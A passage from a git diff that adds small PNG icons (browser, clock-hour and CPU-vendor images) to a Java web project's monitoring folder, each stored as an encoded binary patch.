z>%>K6^Rl^9QgV)ne~Z6o%r08r`YxLN_;2I#XDRD7JkJTHe)+Pp>(8D)Q`Sur3A1c1 zt=RqBr7&)B?#jaGUvte5KIe#Juux=T*RZQPB3}_1`&O1?ub&dHan2L*sxn!v?95ti zMH_iOZVuyP3<-)d_Z}3Pn%isH&fC33=2%Z*Pm9$1pJ&$2ZeDnBt4oZ^qRd$g7w%tQ zF1;&LN^JLunJt1&b3U7z@-e(`VrKYIui_{pRb_8wq{Wevb?kY}`vVLIEVoBK&5uvt zz3Y#J;xUQmGRZzOZ<hRCw@zKP*gGtYaS4yqb)h+*cioC&n4r44qf@10l7f&9!+{$v iFCJd*-e2ebk1;;aAgVp;Ml1sZ1B0ilpUXO@geCyW<0#4i literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/webtv.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/webtv.png new file mode 100644 index 0000000000000000000000000000000000000000..07dc45892a8a81f062e01405eeac0f3ac8eeca60 GIT binary patch literal 319 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u$OrHy0Ty3;^WuU;dIZ{ zU|?Y2EbxddW?<kJ0%68WckBKzFfg#BJNh~@Fl_AS{*%bcz`zg{;1lBd|Nnmm1_mc5 zCq+fYrAwE#w6si_venRVEd#^7<m9Ev$;or(%u!UFQ(axn!0><X-o5wkF+@dG2L-KF zRNR}LUF_u4vUTg$wQJWhFzmf|@7}Rv$AW@_rc9YqTwEL|TV2M$z>wkT;uunKEA?C? zUxNaVYhV<Y2A{<ujd%64nF<w7-QSscDEZCrACBzxS1h*YUaLOj@>r8~lSqC~+;fRH z?+iD}F2AYAbo6LmhWDu(``0X4HG8^@=PIQj=U-e-6B-NrIU8BhycsS3JliZh=QS(u UxfzPu3=9kmp00i_>zopr0Nqb@%K!iX literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/webzip.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/webzip.png new file mode 100644 index 0000000000000000000000000000000000000000..e79bd252d7c81dc8f2aa4603a6083124d7067a75 GIT binary patch literal 257 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+?OFp2Vs1j#>K z&cMLHS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq}swz$e6&fq|g`j2pmI z149EtL&Jds2O1h0{xdKz{Ac(Nrv8Ij|NsB@7gqCRU|<OGba4!+xRv~apOL3v7o$hr zi}WAyANDW)?`-RQyj|W^OTNzFiujcJgrXJc75^UmVU%ls?(pl$LS=_tiyxeqoX9WA s!^8h?_lNq5h70^gADQi$XZ>VYD(QXMl6%u)1_lNOPgg&ebxsLQ0CW{r;s5{u literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/winxbox.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/winxbox.png new file mode 100644 index 0000000000000000000000000000000000000000..85087e4afbe697bcd79f6382a85a1157f2fa682f GIT binary patch literal 661 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZI14-?iy0WWg+Z8+Vb&Z8 z1_lQ95>H=O_G^qH47!>f26dSX3`{1TE{-7@=UETl^$t#yVgK;{{r5S~=e(V>d1sAo zX_r;}2_D^#yqe7~j&-m5#M%|$v4=y2L&;-8N1oEIj(-fDPGzCyVQhj<N{N}Sii;<S zHBO$BclPDB;&YduD@)z>y8LoZl7q6qW_6Vt%JP%d4m3@f!oqtt*WKm*&QIKruSVA! zRde>A{IbH~Qfq-pkx2DAO{rZ@lg+E@j!shgw>Thl_5G@lu#1Vyf+B<UrKIFuzRA0L z$N#r<@$}`*$-z_o<&K5lQ#){If|_2eZnXC{o7<W*E5!5m-jvDOD5duDSJsQKWuJcv zo}R$6kh^JZOjP{I)W<d^9bG5F^cE$xUU{*@v_fak_l?Ex4t}qH*|gZ_;Gxh{r8D;* z{S=${`b}Z|h36sHb{{Tn-`qXXX_@`6B*UqNEL^ib#AtkbU~%ZAberQzxx=~ZH|plv z|4OS>&a0?wa$Z+(Bh=3Sh1aTE#+!bmm^uFoKc9W={`6-r56GQ3^S^fI+}oxP4@_=g zkTx-pn$s)$Yu4J`#p@MQvaUWgk+!wkFFfyONPMx@0&W9OiCv|O%s2em{mgsO$5Rod z6Z>cAIHna&SiVeqdQhmpy~)%oUMJ07DIfdv{NK{8+xA`FHb2+bBjbz;Ptx7<&C06r zb!9evW|5AQpNU!Vmzn3sd*`WmRO(G&W~p{jiHYyCxhiY;{$753gzuwAF5U;ynwc6H z1UnoU7*!7P2rY{X5u0?`c<&NP7gpf{S$%#D2S$bk3J!7(QaMTOTmSxFZE&&9h9Pqy Q0|Nttr>mdKI;Vst0F0y{+yDRo literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/wizz.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/wizz.png new file mode 100644 index 0000000000000000000000000000000000000000..f79d1d70d1da4509f8051683dc0c575f94c95ecc GIT binary patch literal 684 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>ZOG4ji(H@!PI zhk=19!PCVtq+$;1!Q1{pi3|)MKG#0~z$oir;n9>7r?5hI+RW{qJ58rYul?5$7qe~N ztAp;Jm$p~E($7eKz4Y|0sI6x4vy5GXTlOU05V-i1L3CnE@y7!{&#k@Be`1!IwSB%( z&_3?BOD8Ag7{2?=`iZ@LcJ|4O7cX83%Sx_&dh<z&_vZFX8>Bw5D^EOeMe=!Wo*IK@ zflYGxm-gR(!v9FGyn671!sRO(Cuh|B{L^|hF?W-x!-D=ha_{zC3;h}HcO)roHltL> zjZgl!QgYts6yK2iU~3sZ`BmDjoJ}(<8&`KPI+?NPW$`6Vc9Y(15hjsGCoyrl{JrU2 zyeA^<rqjY3SEV;apAG7r%reh#m&CD&_F5coBpWtdz3s>wv1h&g9>I!(E|-PWZtrr= zSAMTiQ&#_GW57!1j{ST8S5%Z38Cp7qmL^v`dAE3DJIBKH!NE_Pn^q`otFW=&{;IHA zqj}f<_$w}JuD%k{FG$n2wcQ_Z<MvfSCy^<kH*deJGyNxWMRm=U;_TPOuRVj9u2k;k zbt+0Td-ZWk$qw6{drca%XTOx)I7>WYUi!_FGWGM<y-X)6mDo=Fu~b;0#B_>Z`Wdsd z7w2rXl~!4WhB6jxw~?q9I`Jo$JC4cw;>?%wfxHtqB;WeEO@5kS(BNt}^9~39U5#)p z5hIaL?WQ`;uGbkERxSJX{kx-w6LVBd*U|7vw#?>>xlgaWVrF#V=befBx60Q1{Ns77 ztL15o-SHi>-h5*VUmSeMEB}1y>Z^-RtP)gYO=e!Q;PT5`=icz}-{1A(JLels&ll5~ v8J(tjFMWJJI(m~z>UQIg6-v8j|K%_GV!W|#x7{2D1_lOCS3j3^P6<r_GNeN2 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr1.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr1.png new file mode 100644 index 0000000000000000000000000000000000000000..f829d3754c8404c907f7911fd44c25dcae720dc1 GIT binary patch literal 318 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eug<cl@I?#*0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZC|z|382Jyt=wrQBjeBfk8lkW9{0t zQ>ILDa&nr}!*OjdLvb?0^J5(U?=fUYF+9IkeR%WkwG0dlj3q&S!3+-1Zlp0VFvNMf zIEGZ*N=`@!`DS^Zfkji#u6((n!G_&CD(-UnCJ3-z`X0k15z_D_P`sQ?SYhwcqs<48 z9zA;b=ut_R-Ax$_ECebVt}r%Qd&mp0G@M~<Vwtd0PcPBov*gs+UI_^XMOMjc!E-o| RF)%PNc)I$ztaD0e0su$iYUuy~ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr10.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr10.png new file mode 100644 index 0000000000000000000000000000000000000000..d8300ee79b03ece34e51aea85d6eaea600c15a10 GIT binary patch literal 306 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eug+{ETKk`Yfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gF%2#i0l9V|EsHuH8nLE7#N=4yS8@iS_uJx zDO09+IVmPbaTF&r%;{k`x7YChJ%+7w7+PAYE0!__GB7YOmIV0)GdMiEk;cHl5aj9N z7*cU7IU(Uk%9<Ak4jd3j%gLE@>cD|49wtT}nS@&{2e(VQNE^-BJDq1quf(}~ds&kV z&dk|bZPdZ$&3v@GSMk-21-}xWHJtTjpLJe=WfMEY@@*1bv#pgtfxzJD>gTe~DWM4f DkfLaK literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr11.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr11.png new file mode 100644 index 0000000000000000000000000000000000000000..e2c129434f9d1fee0e837073172e0552468c069a GIT binary patch literal 318 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eug+{ETKk`Yfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gF%2#i0l9V|EsHu4Gkq27#I{46`w!9w|4DX z0Rf3QbEY^sIb}yN99zq=cMik<dkn?d0xd1oDKA5v7#J8BOM?7@862M7NMm4Ni1T!D z45_%4oRIK0<&DIF0|ySI=j6m3JaC}uy5tFuga`YoB|K&ueYvxjbqTMe+Uq;4m(+O9 z9lO=t$kUdToNQow^M-`ZJ)UK}k~a=+(PWmM;g^u$!5$>$@L96O;Tr=3N1!C*#L|7o R85kHCJYD@<);T3K0RYJ7Y!Cnd literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr12.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr12.png new file mode 100644 index 0000000000000000000000000000000000000000..51dedf5b2685f54a88dfa081296d41d02d6b35d0 GIT binary patch literal 320 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eug+{ETKk`Yfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gF%2#i0l9V|EsHu6%`c)1UMKN7@j|WzIN@} zDO096IXTVg;V4dKxVD$!`7w^{D2D&{7@l9Nu9<ZC9|HpeV@Z%-FoVOh8)*y-3<;ht zjv*Ddk`oes6uTHUG&U-JzAGqh&c<f;xHvi{hD%~b>^sKH;5H#~X@$2ZE<Ad~x@4|I zNKDMK9Xob3WC#n~eZ<7%=TNHffa3}~(=wi%gk24dijp3TXHyddj2Le*GjMsz)LoyN SKb3)jfx*+&&t;ucLK6TjuxZo) literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr2.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr2.png new file mode 100644 index 0000000000000000000000000000000000000000..6ed7457d13bf2717582476a0abaf1e332c985d39 GIT binary patch literal 320 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eug+{ETKk`Yfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gF%2#i0l9V|DQj<S6yAKsHn)mz+h-7F=x&c z0Rf4%Yu7qCIb}yN99zrr{~p8MISj?w0xd1o*$S-(7#J8BOM?7@862M7NMm4NNbq!V z45_%4oRAPw)+wHlkl;~XSXg=BzyZc3bIx-ZbTDMzH<p$NY4|eB__~Bo!<U(>=kYk4 z%3j@VJfp0zkiC2Nj*6zMJ9q48{JL|8NW<B}!pwvO55^!-htG}QSPTsq7{be>yB%J{ Sc{4CDFnGH9xvX<aXaWH8v24Ep literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr3.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr3.png new file mode 100644 index 0000000000000000000000000000000000000000..624558dae1d97fabe1c080dba5a17a8f414ebda2 GIT binary patch literal 302 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eug+{ETKk`Yfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gF%2#i0l9V|DWHxR$X1Jsj11pz%XUX6bS)= zwQJXUIVmPbam?vqC{AYhe~;nZUc;?(7+PAYJtfx_F)%PNmIV0)GdMiEk;cHl;OFV$ z7*cU7IUymWY-2h@laaXi^b$6<GI0To1Odj&ygXV8ryeUbb51C#E}q8d^45}hnQi#n zIh<nbS`90T3tL}#H_SdPz-B0((l5x&%<$)^)bFWg^3xd@7#KWV{an^LB{Ts5w>w>7 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr4.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr4.png new file mode 100644 index 0000000000000000000000000000000000000000..c312f796a54ff6facad537002c3d6308b7a6ea0f GIT binary patch literal 302 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eug<cl@I?#*0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZC|z|3ANXt-88cQ&W?HfuW_PdhOb^ z5&{BVPKy8UF>IZ~aBi<*aWX@46vvz%hAC5~Y)xNxk%57Mu_VYZn8D%MjWh-Z20u?1 z$B>F!$q5M|Wrj%%P4D&e^ip|va`Y4?98h3d#w`(YV2gb-=ZtR&3_|<fpS#C;@tu15 zIkxWI>*w$WJ~tFxwVpAL&)Moo%mmwIJUk4aJ*Dj~S^f!UU|?YIboFyt=akR{0FobK A-~a#s literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr5.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr5.png new file mode 100644 index 0000000000000000000000000000000000000000..f223807202fb153bcee33d352c4c34fa0467f6f1 GIT binary patch literal 311 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eug<cl@I?#*0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZC|z|380zue!QeQBjeBfx*yFqNSyJ z&YUR%0usg90&CZ<{eO>P?;M6>YdNx`7@VA(?mXFI%fP_ESQ6wH%;50sMj8VHL%64l zV@SoV<b;HfGR`E1CLwY0>3VEzdg1~R2Nal=NlSzr*kawxIpbS8gHWBGo?ODORo%uB zHQxj4H|)B;yTAGC&o}!R%#K%XXJB?_onXkAVRvDk0V5m3ekJKsc2ngF7#J8BJYD@< J);T3K0RTK5W7+@! literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr6.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr6.png new file mode 100644 index 0000000000000000000000000000000000000000..9a97b3180c25071e955388a07cc5a21d70883765 GIT binary patch literal 314 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eug<cl@I?#*0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZC|z|382Jyt=wrQBjeBf#LZvj_22^ z*REar{~p7f9*!wfrd-?0ARxez9mP<b%;4nYw6eS|i-CcGu_VYZn8D%MjWh-ZhA2-L z$B>F!$q5M|-wcx&nuNr~r$6T5iP2LCIH171jNf2IL#95Pu)*8&3@SA-F>@TZsCTe+ zRogRmF<-4b&Ty6SYvp&QuZ(9u=Gg`_7+v3*Y;~c=E%mwq8yiD?u~bZEMT#^70|SGn LtDnm{r-UW|V>)Hf literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr7.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr7.png new file mode 100644 index 0000000000000000000000000000000000000000..67e8b52fb94827c30b120136d780ab32d81df5a1 GIT binary patch literal 316 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eug<cl@I?#*0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZC|z|3AN0{rngQ0|SGiqGEM*@$=`; z*REYVr-$SJJq7^*j%#}vrc9ZV9mU|}<W!u@u=k?O2L=WP#*!evU<QY0H_{jw7-BqK z978H@B_||sM827I;J|@^)SR50a|aIO@i4JV>^ShnsO@mVttk%;XP6}xn3=`#q%^!p z6Zm`MMxC+8pA8=uomD7}Ic9F&{AJ_%OLusT+7~7*GddB&#-^CMz?R|EDe2ke6L&0T QU|?YIboFyt=akR{040oZ&Hw-a literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr8.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr8.png new file mode 100644 index 0000000000000000000000000000000000000000..7ec6f6fbfd5dad7e648f41e18a233be5fae1dab4 GIT binary patch literal 312 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eug<cl@I?#*0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZC|z|380zucf8h&`^Sbfk9DGvAVjr zI9otKKw{3EDgW;=tX;eI*jkRga~QIt7@VA(SeMT@#=yY9SQ6wH%;50sMj8VHLxiV` zV@SoV<b(u|GEU)ygoGOpA3b_>^1y+&Oia=e76-N{9~Loqd+Y<N&u*hFJ9gMG8c8_C z<Q(`SemgYb<IdIB8n1p_vy184@f}($Ieg646JD{*I=_Nv6FWm{r0hn05A_NL1_lOC LS3j3^P6<r_sMTv< literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr9.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr9.png new file mode 100644 index 0000000000000000000000000000000000000000..8e7516cf71615b8588470b790d29832e2e857354 GIT binary patch literal 304 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eug+{ETKk`Yfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gF%2#i0l9V|65wBH8nLE7#OOni=W@Sws!4W z2>}5wC&mBw7|!iA+&YJ$IGG_iiepX>!;~pg9P7W%Wnf@nED7=pW^j0RBaMN9A;8nc zF{I*Faza9ZQ5a`JLV}06nc2GZgal)@Mi#a*gWOXeBz<NZm^5c9x9u*!7t3ZO5q54) zFwe4d@#dq-vlU-iEcli1tl_LK^Q`j<ESuOFCg@4>dCkb0!oa}5;OXk;vd$@?2>@Mq BVMPD{ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/digital.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/digital.png new file mode 100644 index 0000000000000000000000000000000000000000..48f3546a161a9e2052502e690bf7e63f73da9628 GIT binary patch literal 262 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$svxGl<R9 zV_;z5EbxddW?<kJ0%68WckBKzFfg#BJNh~@Fl_AS{*%bcz`$S-;1lA?z`!tv!Ela% z(;N=Vb1ie`Fj%hD3|gw_w^YJudr<MC&4*5vPxyHA-sLH)w%Vp2%kD|v>GY9-fq}6k z$S;_|;n|He1_lNnPZ!6Kid)GE2N+pcMOhmg91E5$`cdpy$o4R`&1tKfD$o9N`z$wQ zzY}VEnq9v8&9<mR8@Ny0-<{3b98vlF)G{;P1$M&W8|+rpnJ_Ti`Y7HLzKd@O0|Ntt Mr>mdKI;Vst00|RVp#T5? literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/hp.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/hp.png new file mode 100644 index 0000000000000000000000000000000000000000..8b4fa8cbb001f40166466706f4167e2db1847bd3 GIT binary patch literal 338 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuddD@HdBv*fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gF%2#h^v?7QbWbPPKImeOu1H^y?08>wJ5K( zd$&IS|NZ~__y5lwd!HP&wWa#lwQJv>-}}CH>AjbmXVo(>Fff(``2{mLJiC#`z`#)C z>EaktaVuFsBqT^kL?lH(<VV<MPeG60|LP3w11C7XY0Gv$&g97U({AegczbT64`0*Y z``<izVngw_jT0`bn;WI*8EbQ_@JV^F)h_pe+4PBy6<3SiKMrP<WC<(TST4eF)-(Uv n96l5GfRic~oGE%o<QQysDN9FIHSA<yU|{fc^>bP0l+XkKB=&r^ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/ibm.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/ibm.png new file mode 100644 index 0000000000000000000000000000000000000000..07432337c71d300eb2e1005032652897549a36f4 GIT binary patch literal 238 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$svxGl<R9 zV_;z5EbxddW?<kJ0%68WckBKzFfg#BJNh~@Fl_AS{*%bcz`$S-;1lBd|NsA<o@0CW z-h2N1`?+(^w{E>xT)a0ZXl+Z&F)y#RQBiBBOgWdFymjf)Yfer}=gc`*KT9=$fq{Xs zB*-tA!Qt7BGzJC+6Hgb%kcwN$2?`7>qO4P&O0q~^x~jEo&F9*~4~`WnEnJ<hJ0maV oDz{ktEM4X>^+z%uCoC8w1Nc1a*T^qqU|?YIboFyt=akR{00v)D4FCWD literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/intel.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/intel.png new file mode 100644 index 0000000000000000000000000000000000000000..84ca8bad37e5fd088b93553fdcaa91f3611d0710 GIT binary patch literal 302 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$svxGl<R9 zV_;z5EbxddW?<kJ0%68WckBKzFfg#BJNh~@Fl_AS{*%bcz`$S-;1lA?z`!tP<NxfQ z|B7D!U2^|d&-$+!_CK}le^B}V|NsA6CjZ}g@_$_Y|67m#i@5z~F#MmpPWm|m0|R48 zkY6x^!?PP{3=9k<o-U3d6}OTT5)vMS1~E+HdG-GOU-m$KmUM0d1B28v^R{S4Ha7Yi z-AH|Y#GU7%Vc_ZVb0X;xkxwsexm?Y4_@r~!X70(~4dzVYner)0?O;L1veQ!QH#hNA zr|sH)XU^V+#=XHs&z5K`ICyBCS01CnXI9Zh7KZK4N@w5dNzZ0rU|{fc^>bP0l+XkK DPWE%8 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/java.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/java.png new file mode 100644 index 0000000000000000000000000000000000000000..d9830fc6ff5940d5c475be16dc0e12fabf4e5654 GIT binary patch literal 288 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$svxGl<R9 zV_;z5EbxddW?<kJ0%68WckBKzFfg#BJNh~@Fl_AS{*%bcz`$S-;1lBd|NsAw@4u(z zF5WX^d+($jmo7d2|M~m(@BhC)dHMhQ|L_0*|37%@_qAK!XRiAH|NH;f@83q=*~!4b zz*rLG7tG-B>_!>`14Ejpi(^Q|t>lD+85`1>nFT(S8GmSaaW_Z!z?b%Szsns>&fm}e z?f9i_@7)}QS-;=#Zm@BFm&taSorg#1n3|pw8xK!UShdt)772+PvA)bsjhEi|`OS0a pGHuYEv)8t<(ecC)SIr5G3?1C!0qk|5ybKHs44$rjF6*2UngElbb&3E0 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/mips.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/mips.png new file mode 100644 index 0000000000000000000000000000000000000000..46125a2a65d2ccdeba38fb2894fa42f859185cb6 GIT binary patch literal 317 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuddD@HdBv*fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gLHsTi0iTc$F?3j7gRju+_ihzEpwhffB*mg z|DHKZm#*DAXYu|%1_lPkk|4ie28U-i(ij*RiacE$Ln>~Gp7rK)HIQJtkk38k$d-^9 zzgsgeSNYtHc`0<q@KM>Di6u8Jq%9auJg%6av4zFwzxMV8j4M~(@kq3}{%C&xg>L)L zR&Mt5&!t&U5!A7>dok^l+EqUDHD=t(Jm)rCiT!a(Ge?t^>1<04^L*R$yy0EqUxW>O SKQJ&bFnGH9xvX<aXaWEo$aPHs literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/motorola.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/motorola.png new file mode 100644 index 0000000000000000000000000000000000000000..dc3615c1563b3ceba191425617e852fc5c620c3f GIT binary patch literal 296 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$svxGl<R9 zV_;z5EbxddW?<kJ0%68WckBKzFfg#BJNh~@Fl_AS{*%bcz`$S-;1lA?#1_XO5G1Ej znqRtN?t(+7F5TX-`wW9X90OB`xnrwect5XbcJJgpoDyO0K78fi$UYv({gHuzq1w~M zF{I)aV*x||e})Z`ZfD#Ksu`+nCRJ#fTwrKEy@p|0u{*;w2G{m;?Zylz`QOctTdvCR zsOp{NyW?dH(LC=Czl)Y(h`y&3GC!z>A!ts)Vs@Kr3|6NE$~pE-Vc533oufd=lc6)I uU^|1(0tSw0i<C68${84hOu~}YJ1$#j6>0|hmNGCfFnGH9xvX<aXaWE`JY7!! literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/sun.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/sun.png new file mode 100644 index 0000000000000000000000000000000000000000..276f1a2fdbf9f27b56c6994307218d651e9d9e40 GIT binary patch literal 210 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$svxGl<R9 zV_;z5EbxddW?<kJ0%68WckBKzFfg#BJNh~@Fl_AS{*%ZGQWW45;`;yp|E1@?M@8*@ zx4S`?fq{XsB*-tA!Qt7BGzJC+drud~kcwNbJqLLi3^<r3a!NSftv?a;YenZy1&$Bt zq8qf<ygM*!*_KH<owHce9jrX%m*vYO$-Q0TzFt3X)*klGJ4}l?Y79>^FfcH9y85}S Ib4q9e0ES>eX8-^I literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/unknown.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/unknown.png new file mode 100644 index 0000000000000000000000000000000000000000..69b2d1dc49fbef96acddb7792d8dbf8ec528457a GIT binary patch literal 191 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuddD@HdBv*fq}EYBeIx*fm;ZK 